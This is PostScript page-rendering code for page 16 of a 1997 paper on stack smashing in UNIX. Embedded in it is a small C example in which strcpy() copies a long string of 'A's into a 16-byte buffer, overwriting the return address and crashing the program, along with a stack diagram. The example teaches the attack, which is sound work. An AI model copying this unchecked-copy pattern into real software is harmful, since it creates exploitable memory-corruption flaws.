; : 2406 2105 2087 107 rc 0 0 0 sco F10_100 Ji 2471 2105 M 1.000 0 (a)A ; : 2406 1905 2087 107 rc 0 0 0 sco F10_100 Ji 2471 1905 M 1.000 0 (b)A ; : 2406 1655 2087 107 rc 0 0 0 sco F10_100 Ji 2471 1655 M 1.000 0 (c)A ; 586 1015 N M 6 2502 rr : 0 0 0 sco O ; 4412 1015 N M 6 2502 rr : 0 0 0 sco O ; 586 3623 N M 6 6 rr : 0 0 0 sco O ; 586 3623 N M 6 6 rr : 0 0 0 sco O ; 592 3623 N M 3820 6 rr : 0 0 0 sco O ; 4412 3623 N M 6 6 rr : 0 0 0 sco O ; 4412 3623 N M 6 6 rr : 0 0 0 sco O ; 586 3517 N M 6 106 rr : 0 0 0 sco O ; 4412 3517 N M 6 106 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 15 ]%%) = %%PageTrailer %%Page: 16 16 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (16)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Courier (F4) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F4_67) cvn F4 67 xF F4_67 Ji 1762 1522 M -0.200 0 (Example 8.a - buffer overflow example)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 1744 M 0.600 0 (W)A (h)S -0.400 0 (e)A 7.000 0 32 (n )W -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 7.000 0 32 (d )W -0.400 0 (a)A 7.000 0 32 (nd )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (d, )W 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e a)D (bov)S 7.400 0 32 -0.400 0 (e c)D (od)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 6.900 0 32 0.100 0 (s )D 7.400 0 32 -0.400 0 (a )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 7.000 0 32 (on v)W 0.200 0 (i)A (o)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (ti)A 7.000 0 32 (on. )W 8.000 0 32 ( )W -0.100 0 (T)A (h)S 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1921 M 0.200 0 (t)A -0.400 0 (a)A (k)S -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D (p)S 0.200 0 (l)A 5.400 0 32 -0.400 0 (ace )D (b)S -0.400 0 (eca)A (u)S 0.100 0 (s)A 5.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco (F4_100) cvn F4 100 xF F4_100 Ji 1432 1931 M (function\(\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2032 1921 M 5.000 0 32 ( )W -0.400 0 (a)A 0.200 0 (tt)A -0.400 0 (e)A 0.200 0 (m)A (p)S 0.200 0 (t)A 4.900 0 32 0.100 0 (s )D 0.200 0 (t)A 5.000 0 32 (o )W -0.400 0 (c)A (op)S 8.000 0 32 -3.000 0 (y )D ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2760 1931 M (large_string)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3480 1921 M 5.000 0 32 ( )W 0.200 0 (i)A (n)S 0.200 0 (t)A 5.000 0 32 (o )W ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 3696 1931 M (buffer)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4056 1921 M 5.000 0 32 ( )W -0.200 0 (w)A 0.200 0 (it)A (hou)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2101 M (bound)S 12.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (ec)A (k)S 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 1590 2111 M (strcpy\(\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2070 2101 M 13.000 0 32 (. )W ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2171 2111 M (strcpy\(\))S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2651 2101 M 13.000 0 32 ( )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (l)A 16.000 0 32 -3.000 0 (y )D (k)S -0.400 0 (ee)A (p)S 12.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 14.000 0 32 -1.000 0 (g )D (un)S 13.800 0 32 0.200 0 (til l)D -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A (_)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S 15.000 0 32 -1.000 0 (g )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2281 M -0.063 0 (exhausted, writing over )A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 1577 2291 M (SFP, RET, )S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2177 2281 M -0.100 0 (and )A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2346 2291 M (*str)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2586 2281 M -0.150 0 ( \()A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F8) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F8_100) cvn F8 100 xF F8_100 Ji 2644 2281 M -0.043 0 (see figure 8.b)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3185 2281 M -0.300 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 1224 4813 M 0.171 0 (Figure 8.b)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 1590 4814 M -0.003 0 ( - Buffer Overflow Example 5.a before and after )A ; : 0 0 4883 6391 rc 0 0 0 sco (F4_83) cvn F4 83 xF F4_83 Ji 3217 4823 M 0.200 0 (strcpy\(\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 3617 4814 M 0.108 0 ( call.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5111 M -0.700 0 (B)A 12.000 0 32 -3.000 0 (y )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (iti)A (n)S 10.000 0 32 -1.000 0 (g )D 9.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (n)S 10.000 0 32 -1.000 0 (g )D (o)S 9.300 0 32 -0.300 0 (f )D -0.200 0 (A)A -1.000 0 (')A 8.900 0 32 0.100 0 (s )D -0.300 0 (\()A ; : 0 0 4883 6391 rc 0 0 0 sco F4_100 Ji 2032 5121 M 9.000 0 32 (0x41 )W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2341 5111 M 0.200 0 (i)A 9.000 0 32 (n h)W -0.400 0 (e)A 1.000 0 (x)A 9.300 0 32 -0.300 0 (\) )D 0.200 0 (i)A (n)S 0.200 0 (t)A 9.000 0 32 (o )W -0.400 0 (a)A 9.000 0 32 (nd ov)W -0.400 0 (e)A 9.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 9.000 0 32 (k, )W 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A 10.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5291 M (h)S -0.400 0 (a)A 5.900 0 32 0.100 0 (s )D -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 6.000 0 32 (d )W 0.200 0 (t)A 6.000 0 32 (o )W -0.400 0 (a)A 6.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 5.900 0 32 0.100 0 (ss )D (ou)S 0.200 0 (t)A 0.100 0 (s)A 0.200 0 (i)A (d)S 6.400 0 32 -0.400 0 (e )D (o)S 6.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 6.900 0 32 0.100 0 (ss )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 6.900 0 32 0.100 0 (ss s)D (p)S -0.400 0 (ace)A 7.000 0 32 (. )W -0.100 0 (T)A (h)S 7.400 0 32 -0.400 0 (e )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 8.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 6.900 0 32 0.100 0 (ss )D -0.400 0 (ca)A 7.000 0 32 (n no)W ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5468 M 0.200 0 (l)A (on)S -1.000 0 (g)A -0.400 0 (e)A 4.300 0 32 -0.300 0 (r f)D -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (c)A 4.000 0 32 (h )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (e)A 1.000 0 (x)A 3.800 0 32 0.200 0 (t i)D (n)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A 4.000 0 32 (on )W -0.300 0 (fr)A (o)S 3.800 0 32 0.200 0 (m t)D (h)S 5.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (op)S -0.400 0 (e)A 5.300 0 32 -0.300 0 (r )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 5.000 0 32 (, ov)W -0.400 0 (e)A -0.300 0 (r)A -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 5.000 0 32 (n )W -0.200 0 (w)A 0.200 0 (it)A 5.000 0 32 (h )W -0.400 0 (a)A 5.000 0 32 (n )W -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 4.900 0 32 0.100 0 (ss )D (ou)S 0.200 0 (t)A 0.100 0 (s)A 0.200 0 (i)A (d)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5645 M -0.102 0 (its process space, returning a segmentation fault.)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 514 M -0.200 0 (1:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 514 M -0.200 0 (void function\(char *str\) {)A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 79 rr : 0 0 0 sco O ; 4412 506 N M 6 79 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 585 M -0.200 0 (2:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 585 M -0.200 0 ( ch)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1412 585 M -0.200 0 (ar buffer[16];)A ; 586 585 N M 6 71 rr : 0 0 0 sco O ; 4412 585 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 656 M -0.200 0 (3:)A ; 586 656 N M 6 71 rr : 0 0 0 sco O ; 4412 656 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 727 M -0.200 0 (4:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 727 M -0.200 0 ( strcpy\(buffer,str\);)A ; 586 727 N M 6 71 rr : 0 0 0 sco O ; 4412 727 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 798 M -0.200 0 (5:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 798 M -0.200 0 (})A ; 586 798 N M 6 71 rr : 0 0 0 sco O ; 4412 798 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 869 M -0.200 0 (6:)A ; 586 869 N M 6 71 rr : 0 0 0 sco O ; 4412 869 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 940 M -0.200 0 (7:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 940 M -0.200 0 (void main\(\) {)A ; 586 940 N M 6 71 rr : 0 0 0 sco O ; 4412 940 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1011 M -0.200 0 (8:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1011 M -0.200 0 ( char large_string[256];)A ; 586 1011 N M 6 71 rr : 0 0 0 sco O ; 4412 1011 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1082 M -0.200 0 (9:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1082 M -0.200 0 ( int i;)A ; 586 1082 N M 6 71 rr : 0 0 0 sco O ; 4412 1082 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1153 M -0.200 0 (10:)A ; 586 1153 N M 6 71 rr : 0 0 0 sco O ; 4412 1153 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1224 M -0.200 0 (11:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1224 M -0.200 0 ( for\( i = 0; i < 255; i++\))A ; 586 1224 N M 6 71 rr : 0 0 0 sco O ; 4412 1224 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1295 M -0.200 0 (12:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1295 M -0.200 0 ( large_string[i] = 'A';)A ; 586 1295 N M 6 71 rr : 0 0 0 sco O ; 4412 1295 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1366 M -0.200 0 (13:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1366 M -0.200 0 ( function\(large_string\);)A ; 586 1366 N M 6 71 rr : 0 0 0 sco O ; 4412 1366 N M 6 71 rr : 0 0 0 sco O ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 912 1437 M -0.200 0 (14:)A ; : 511 500 3982 1022 rc 0 0 0 sco F4_67 Ji 1212 1437 M -0.200 0 (})A ; 586 1516 N M 6 6 rr : 0 0 0 sco O ; 586 1516 N M 6 6 rr : 0 0 0 sco O ; 592 1516 N M 3820 6 rr : 0 0 0 sco O ; 4412 1516 N M 6 6 rr : 0 0 0 sco O ; 4412 1516 N M 6 6 rr : 0 0 0 sco O ; 586 1437 N M 6 79 rr : 0 0 0 sco O ; 4412 1437 N M 6 79 rr : 0 0 0 sco O ; 634 2624 N M 1392 1934 rr : 1.000 1.000 1.000 sco O ; 12 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 1278 4224 184 96 rc 0 0 0 sco (F2_84) cvn F2 84 xF F2_84 Ji 1278 4228 M -2.000 0 (b)A -0.676 0 (ss)A ; 628 4370 N M 0 -198 - 6 Lw 1 Lc 1 Lj solid 0 0 0 sco K 2030 4370 N M 0 -198 - 0 0 0 sco K 626 4368 N M 1406 0 - 0 0 0 sco K 628 4564 N M 0 -198 - 0 0 0 sco K 2030 4564 N M 0 -198 - 0 0 0 sco K 626 3396 N M 1406 0 - 0 0 0 sco K 628 2618 N M 1402 6 rr : 0.251 0.251 0.251 sco O ; 628 2624 N M 1402 6 rr : 0.259 0.259 0.259 sco O ; 628 2630 N M 1402 6 rr : 0.267 0.267 0.267 sco O ; 628 2636 N M 1402 4 rr : 0.275 0.275 0.275 sco O ; 628 2640 N M 1402 6 rr : 0.282 0.282 0.282 sco O ; 628 2646 N M 1402 8 rr : 0.290 0.290 0.290 sco O ; 628 2654 N M 1402 4 rr : 0.298 0.298 0.298 sco O ; 628 2658 N M 1402 6 rr : 0.306 0.306 0.306 sco O ; 628 2664 N M 1402 6 rr : 0.314 0.314 0.314 sco O ; 628 2670 N M 1402 6 rr : 0.322 0.322 0.322 sco O ; 628 2676 N M 1402 6 rr : 0.329 0.329 0.329 sco O ; 628 2682 N M 1402 6 rr : 0.337 0.337 0.337 sco O ; 628 2688 N M 1402 6 rr : 0.345 0.345 0.345 sco O ; 628 2694 N M 1402 6 rr : 0.353 0.353 0.353 sco O ; 628 2700 N M 1402 6 rr : 0.361 0.361 0.361 sco O ; 628 2706 N M 1402 6 rr : 0.369 0.369 0.369 sco O ; 628 2712 N M 1402 6 rr : 0.376 0.376 0.376 sco O ; 628 2716 N M 1402 8 rr : 0.384 0.384 0.384 sco O ; 628 2724 N M 1402 6 rr : 0.392 0.392 0.392 sco O ; 628 2728 N M 1402 6 rr : 0.400 0.400 0.400 sco O ; 628 2734 N M 1402 8 rr : 0.408 0.408 0.408 sco O ; 628 2742 N M 1402 6 rr : 0.416 0.416 0.416 sco O ; 628 2746 N M 1402 6 rr : 0.424 0.424 0.424 sco O ; 628 2752 N M 1402 6 rr : 0.431 0.431 0.431 sco O ; 628 2758 N M 1402 6 rr : 0.439 0.439 0.439 sco O ; 628 2764 N M 1402 6 rr : 0.447 0.447 0.447 sco O ; 628 2770 N M 1402 6 rr : 0.455 0.455 0.455 sco O ; 628 2776 N M 1402 6 rr : 0.463 0.463 0.463 sco O ; 628 2782 N M 1402 6 rr : 0.471 0.471 0.471 sco O ; 628 2788 N M 1402 6 rr : 0.478 0.478 0.478 sco O ; 628 2794 N M 1402 6 rr : 0.486 0.486 0.486 sco O ; 628 2800 N M 1402 6 rr : 0.494 0.494 0.494 sco O ; 628 2806 N M 1402 6 rr : 0.502 0.502 0.502 sco O ; 628 2812 N M 1402 6 rr : 0.510 0.510 0.510 sco O ; 628 2818 N M 1402 6 rr : 0.518 0.518 0.518 sco O ; 628 2824 N M 1402 6 rr : 0.525 0.525 0.525 sco O ; 628 2828 N M 1402 8 rr : 0.533 0.533 0.533 sco O ; 628 2836 N M 1402 6 rr : 0.541 0.541 0.541 sco O ; 628 2842 N M 1402 6 rr : 0.549 0.549 0.549 sco O ; 628 2846 N M 1402 8 rr : 0.557 0.557 0.557 sco O ; 628 2854 N M 1402 6 rr : 0.565 0.565 0.565 sco O ; 628 2858 N M 1402 6 rr : 0.573 0.573 0.573 sco O ; 628 2864 N M 1402 6 rr : 0.580 0.580 0.580 sco O ; 628 2870 N M 1402 6 rr : 0.588 0.588 0.588 sco O ; 628 2876 N M 1402 6 rr : 0.596 0.596 0.596 sco O ; 628 2882 N M 1402 6 rr : 0.604 0.604 0.604 sco O ; 628 2888 N M 1402 6 rr : 0.612 0.612 0.612 sco O ; 628 2894 N M 1402 6 rr : 0.620 0.620 0.620 sco O ; 628 2900 N M 1402 6 rr : 0.627 0.627 0.627 sco O ; 628 2906 N M 1402 6 rr : 0.635 0.635 0.635 sco O ; 628 2912 N M 1402 6 rr : 0.643 0.643 0.643 sco O ; 628 2918 N M 1402 6 rr : 0.651 0.651 0.651 sco O ; 628 2924 N M 1402 6 rr : 0.659 0.659 0.659 sco O ; 628 2930 N M 1402 6 rr : 0.667 0.667 0.667 sco O ; 628 2936 N M 1402 4 rr : 0.675 0.675 0.675 sco O ; 628 2940 N M 1402 8 rr : 0.682 0.682 0.682 sco O ; 628 2948 N M 1402 4 rr : 0.690 0.690 0.690 sco O ; 628 2952 N M 1402 56 rr : 0.698 0.698 0.698 sco O ; 632 2620 N M 1396 386 rr 0 Lc 0 Lj 0 0 0 sco K : 1172 2868 408 96 rc 0 0 0 sco (F8_84) cvn F8 84 xF F8_84 Ji 1172 2872 M (u)S -0.676 0 (s)A 0.704 0 (e)A 1.676 0 32 -0.676 0 (r s)D 0.648 0 (t)A (a)S 0.704 0 (ck)A ; 626 3008 N M 1406 0 - 1 Lc 1 Lj 0 0 0 sco K 628 4212 N M 1402 50 rr : 0.698 0.698 0.698 sco O ; 628 4262 N M 1402 6 rr : 0.698 0.698 0.698 sco O ; 628 4268 N M 1402 4 rr : 0.690 0.690 0.690 sco O ; 628 4272 N M 1402 6 rr : 0.682 0.682 0.682 sco O ; 628 4278 N M 1402 6 rr : 0.675 0.675 0.675 sco O ; 628 4284 N M 1402 6 rr : 0.667 0.667 0.667 sco O ; 628 4288 N M 1402 6 rr : 0.659 0.659 0.659 sco O ; 628 4294 N M 1402 6 rr : 0.651 0.651 0.651 sco O ; 628 4300 N M 1402 4 rr : 0.643 0.643 0.643 sco O ; 628 4304 N M 1402 6 rr : 0.635 0.635 0.635 sco O ; 628 4310 N M 1402 4 rr : 0.627 0.627 0.627 sco O ; 628 4314 N M 1402 6 rr : 0.620 0.620 0.620 sco O ; 628 4320 N M 1402 6 rr : 0.612 0.612 0.612 sco O ; 628 4326 N M 1402 6 rr : 0.604 0.604 0.604 sco O ; 628 4332 N M 1402 4 rr : 0.596 0.596 0.596 sco O ; 628 4336 N M 1402 6 rr : 0.588 0.588 0.588 sco O ; 628 4342 N M 1402 4 rr : 0.580 0.580 0.580 sco O ; 628 4346 N M 1402 6 rr : 0.573 0.573 0.573 sco O ; 628 4352 N M 1402 6 rr : 0.565 0.565 0.565 sco O ; 628 4356 N M 1402 6 rr : 0.557 0.557 0.557 sco O ; 628 4362 N M 1402 6 rr : 0.549 0.549 0.549 sco O ; 628 4368 N M 1402 6 rr : 0.541 0.541 0.541 sco O ; 628 4374 N M 1402 4 rr : 0.533 0.533 0.533 sco O ; 628 4378 N M 1402 6 rr : 0.525 0.525 0.525 sco O ; 628 4384 N M 1402 6 rr : 0.518 0.518 0.518 sco O ; 628 4390 N M 1402 4 rr : 0.510 0.510 0.510 sco O ; 628 4394 N M 1402 6 rr : 0.502 0.502 0.502 sco O ; 628 4400 N M 1402 4 rr : 0.494 0.494 0.494 sco O ; 628 4404 N M 1402 6 rr : 0.486 0.486 0.486 sco O ; 628 4410 N M 1402 6 rr : 0.478 0.478 0.478 sco O ; 628 4416 N M 1402 6 rr : 0.471 0.471 0.471 sco O ; 628 4422 N M 1402 4 rr : 0.463 0.463 0.463 sco O ; 628 4426 N M 1402 6 rr : 0.455 0.455 0.455 sco O ; 628 4432 N M 1402 4 rr : 0.447 0.447 0.447 sco O ; 628 4436 N M 1402 6 rr : 0.439 0.439 0.439 sco O ; 628 4442 N M 1402 6 rr : 0.431 0.431 0.431 sco O ; 628 4446 N M 1402 6 rr : 0.424 0.424 0.424 sco O ; 628 4452 N M 1402 6 rr : 0.416 0.416 0.416 sco O ; 628 4458 N M 1402 6 rr : 0.408 0.408 0.408 sco O ; 628 4464 N M 1402 4 rr : 0.400 0.400 0.400 sco O ; 628 4468 N M 1402 6 rr : 0.392 0.392 0.392 sco O ; 628 4474 N M 1402 6 rr : 0.384 0.384 0.384 sco O ; 628 4480 N M 1402 4 rr : 0.376 0.376 0.376 sco O ; 628 4484 N M 1402 6 rr : 0.369 0.369 0.369 sco O ; 628 4490 N M 1402 4 rr : 0.361 0.361 0.361 sco O ; 628 4494 N M 1402 6 rr : 0.353 0.353 0.353 sco O ; 628 4500 N M 1402 6 rr : 0.345 0.345 0.345 sco O ; 628 4506 N M 1402 6 rr : 0.337 0.337 0.337 sco O ; 628 4512 N M 1402 4 rr : 0.329 0.329 0.329 sco O ; 628 4516 N M 1402 6 rr : 0.322 0.322 0.322 sco O ; 628 4522 N M 1402 4 rr : 0.314 0.314 0.314 sco O ; 628 4526 N M 1402 6 rr : 0.306 0.306 0.306 sco O ; 628 4532 N M 1402 6 rr : 0.298 0.298 0.298 sco O ; 628 4536 N M 1402 6 rr : 0.290 0.290 0.290 sco O ; 628 4542 N M 1402 6 rr : 0.282 0.282 0.282 sco O ; 628 4548 N M 1402 6 rr : 0.275 0.275 0.275 sco O ; 628 4554 N M 1402 4 rr : 0.267 0.267 0.267 sco O ; 628 4558 N M 1402 6 rr : 0.259 0.259 0.259 sco O ; 632 4216 N M 1396 346 rr 0 Lc 0 Lj 0 0 0 sco K 626 4368 N M 1406 0 - 26 Lw 1 Lc 1 Lj solid 0 0 0 sco K 626 4214 N M 1406 0 - 6 Lw solid 0 0 0 sco K : 1252 4230 234 96 rc 0 0 0 sco F8_84 Ji 1252 4234 M (h)S 0.704 0 (e)A (ap)S ; : 1262 2668 208 94 rc 0 0 0 sco F2_84 Ji 1262 2672 M 0.704 0 (a)A 2.028 0 (r)A (g)S -1.296 0 (c)A ; 626 2812 N M 1406 0 - 26 Lw solid 0 0 0 sco K : 1278 4430 184 96 rc 0 0 0 sco F2_84 Ji 1278 4434 M -2.000 0 (b)A -0.676 0 (ss)A ; : 511 2604 3780 2205 rc 628 2616 N M 0 1948 - 12 Lw solid 0 0 0 sco K ; : 511 2604 3780 2205 rc 2030 2616 N M 0 1948 - 12 Lw solid 0 0 0 sco K ; : 511 2604 3780 2205 rc 626 2618 N M 1406 0 - 12 Lw solid 0 0 0 sco K ; 626 4564 N M 1406 0 - 12 Lw solid 0 0 0 sco K 626 3202 N M 1406 0 - 6 Lw solid 0 0 0 sco K 626 3746 N M 1406 0 - 0 0 0 sco K : 1096 3880 552 102 rc 0 0 0 sco (F4_84) cvn F4 84 xF F4_84 Ji 1096 3880 M -0.400 0 (buffer[16])A ; : 1258 3530 202 102 rc 0 0 0 sco F4_84 Ji 1258 3530 M -0.400 0 (sfp)A ; : 1258 3258 202 102 rc 0 0 0 sco F4_84 Ji 1258 3258 M -0.400 0 (ret)A ; : 1236 3062 252 102 rc 0 0 0 sco F4_84 Ji 1236 3062 M -0.400 0 (*str)A ; 2776 2624 N M 1390 1934 rr : 1.000 1.000 1.000 sco O ; 12 Lw 0 Lc 0 Lj solid 0 0 0 sco K : 3420 4224 182 96 rc 0 0 0 sco F2_84 Ji 3420 4228 M -2.000 0 (b)A -0.676 0 (ss)A ; 2768 4370 N M 0 -198 - 6 Lw 1 Lc 1 Lj solid 0 0 0 sco K 4170 4370 N M 0 -198 - 0 0 0 sco K 2768 4368 N M 1404 0 - 0 0 0 sco K 2768 4564 N M 0 -198 - 0 0 0 sco K 4170 4564 N M 0 -198 - 0 0 0 sco K 2768 2618 N M 1402 6 rr : 0.251 0.251 0.251 sco O ; 2768 2624 N M 1402 6 rr : 0.259 0.259 0.259 sco O ; 2768 2630 N M 1402 6 rr : 0.267 0.267 0.267 sco O ; 2768 2636 N M 1402 4 rr : 0.275 0.275 0.275 sco O ; 2768 2640 N M 1402 6 rr : 0.282 0.282 0.282 sco O ; 2768 2646 N M 1402 8 rr : 0.290 0.290 0.290 sco O ; 2768 2654 N M 1402 4 rr : 0.298 0.298 0.298 sco O ; 2768 2658 N M 1402 6 rr : 0.306 0.306 0.306 sco O ; 2768 2664 N M 1402 6 rr : 0.314 0.314 0.314 sco O ; 2768 2670 N M 1402 6 rr : 0.322 0.322 0.322 sco O ; 2768 2676 N M 1402 6 rr : 0.329 0.329 0.329 sco O ; 2768 2682 N M 1402 6 rr : 0.337 0.337 0.337 sco O ; 2768 2688 N M 1402 6 rr : 0.345 0.345 0.345 sco O ; 2768 2694 N M 1402 6 rr : 0.353 0.353 0.353 sco O ; 2768 2700 N M 1402 6 rr : 0.361 0.361 0.361 sco O ; 2768 2706 N M 1402 6 rr : 0.369 0.369 0.369 sco O ; 2768 2712 N M 1402 6 rr : 0.376 0.376 0.376 sco O ; 2768 2716 N M 1402 8 rr : 0.384 0.384 0.384 sco O ; 2768 2724 N M 1402 6 rr : 0.392 0.392 0.392 sco O ; 2768 2728 N M 1402 6 